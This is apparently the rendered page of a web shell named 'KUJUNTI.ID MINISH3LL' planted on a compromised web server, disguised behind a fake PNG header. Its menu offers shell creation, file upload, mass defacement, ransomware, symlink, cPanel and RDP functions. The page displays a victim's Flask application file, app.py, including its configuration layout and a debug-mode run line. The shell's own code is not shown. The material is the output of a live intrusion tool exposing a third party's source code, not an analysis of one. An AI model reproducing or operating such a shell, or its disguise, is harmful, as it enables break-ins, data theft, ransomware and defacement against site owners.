\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/veridatapostgres/VeridataWebsite-v3/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/veridatapostgres/VeridataWebsite-v3/app.py


import os
import logging
from flask import Flask, request, g, render_template, session
from flask_sqlalchemy import SQLAlchemy
from flask_babel import Babel
from flask_mail import Mail
from sqlalchemy.orm import DeclarativeBase
from dotenv import load_dotenv
from flask_wtf.csrf import CSRFProtect

# Configure logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

load_dotenv()

class Base(DeclarativeBase):
    pass

db = SQLAlchemy(model_class=Base)
app = Flask(__name__, 
    static_folder='static',
    static_url_path='/static')

# Configuration
app.secret_key = os.environ.get("SESSION_SECRET")
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get("DATABASE_URL")
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['BABEL_DEFAULT_LOCALE'] = 'tr'
app.config['LANGUAGES'] = ['en', 'tr']
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['PERMANENT_SESSION_LIFETIME'] = 3600  # 1 hour
app.config['RECAPTCHA_PUBLIC_KEY'] = os.environ.get('RECAPTCHA_PUBLIC_KEY')
app.config['RECAPTCHA_PRIVATE_KEY'] = os.environ.get('RECAPTCHA_PRIVATE_KEY')

# Mail settings
app.config['MAIL_SERVER'] = os.environ.get('MAIL_SERVER', 'smtp.gmail.com')
app.config['MAIL_PORT'] = int(os.environ.get('MAIL_PORT', 587))
app.config['MAIL_USE_TLS'] = True
app.config['MAIL_USERNAME'] = os.environ.get('MAIL_USERNAME')
app.config['MAIL_PASSWORD'] = os.environ.get('MAIL_PASSWORD')

# Initialize extensions
db.init_app(app)
mail = Mail(app)
csrf = CSRFProtect(app)

def get_locale():
    # If lang parameter is provided, update session
    if request.args.get('lang'):
        session['lang'] = request.args.get('lang')
        session.permanent = True  # Make the session permanent

    # Get language from session if available
    if 'lang' in session:
        return session['lang']

    # Otherwise use browser's preferred language
    return request.accept_languages.best_match(app.config['LANGUAGES'])

# Initialize Babel with the locale selector
babel = Babel(app, locale_selector=get_locale)

@app.before_request
def before_request():
    g.lang_code = get_locale()

# Add debug route to check static files
@app.route('/debug-static')
def debug_static():
    logger.debug(f"Static folder path: {app.static_folder}")
    logger.debug(f"Static URL path: {app.static_url_path}")
    return "Check logs for static file configuration"

with app.app_context():
    db.create_all()

# Import routes after app initialization to avoid circular imports
from routes import *

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

© KUJUNTI.ID